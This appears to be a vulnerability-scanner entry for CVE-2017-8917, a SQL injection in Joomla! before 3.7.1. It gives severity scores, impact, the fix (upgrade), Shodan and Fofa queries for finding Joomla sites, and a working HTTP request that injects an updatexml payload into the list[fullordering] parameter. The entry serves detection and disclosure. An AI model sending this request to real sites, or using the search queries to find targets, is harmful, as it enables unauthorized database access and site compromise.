| Title | Joomla! <3.7.1 - SQL Injection |
|---|---|
| Author | princechaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the entire Joomla! website. |
| Remediation | Upgrade Joomla! to version 3.7.1 or later to mitigate the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94513 |
| CVE ID | CVE-2017-8917 |
| CWE ID | CWE-89 |
| Shodan Query | http.component:"Joomla"http.html:"joomla! - open source content management"http.component:"joomla"cpe:"cpe:2.3:a:joomla:joomla\!" |
| Fofa Query | body="joomla! - open source content management" |
| Tags | cve2017 cve joomla sqli vuln |
Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
GET /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(0999)),1) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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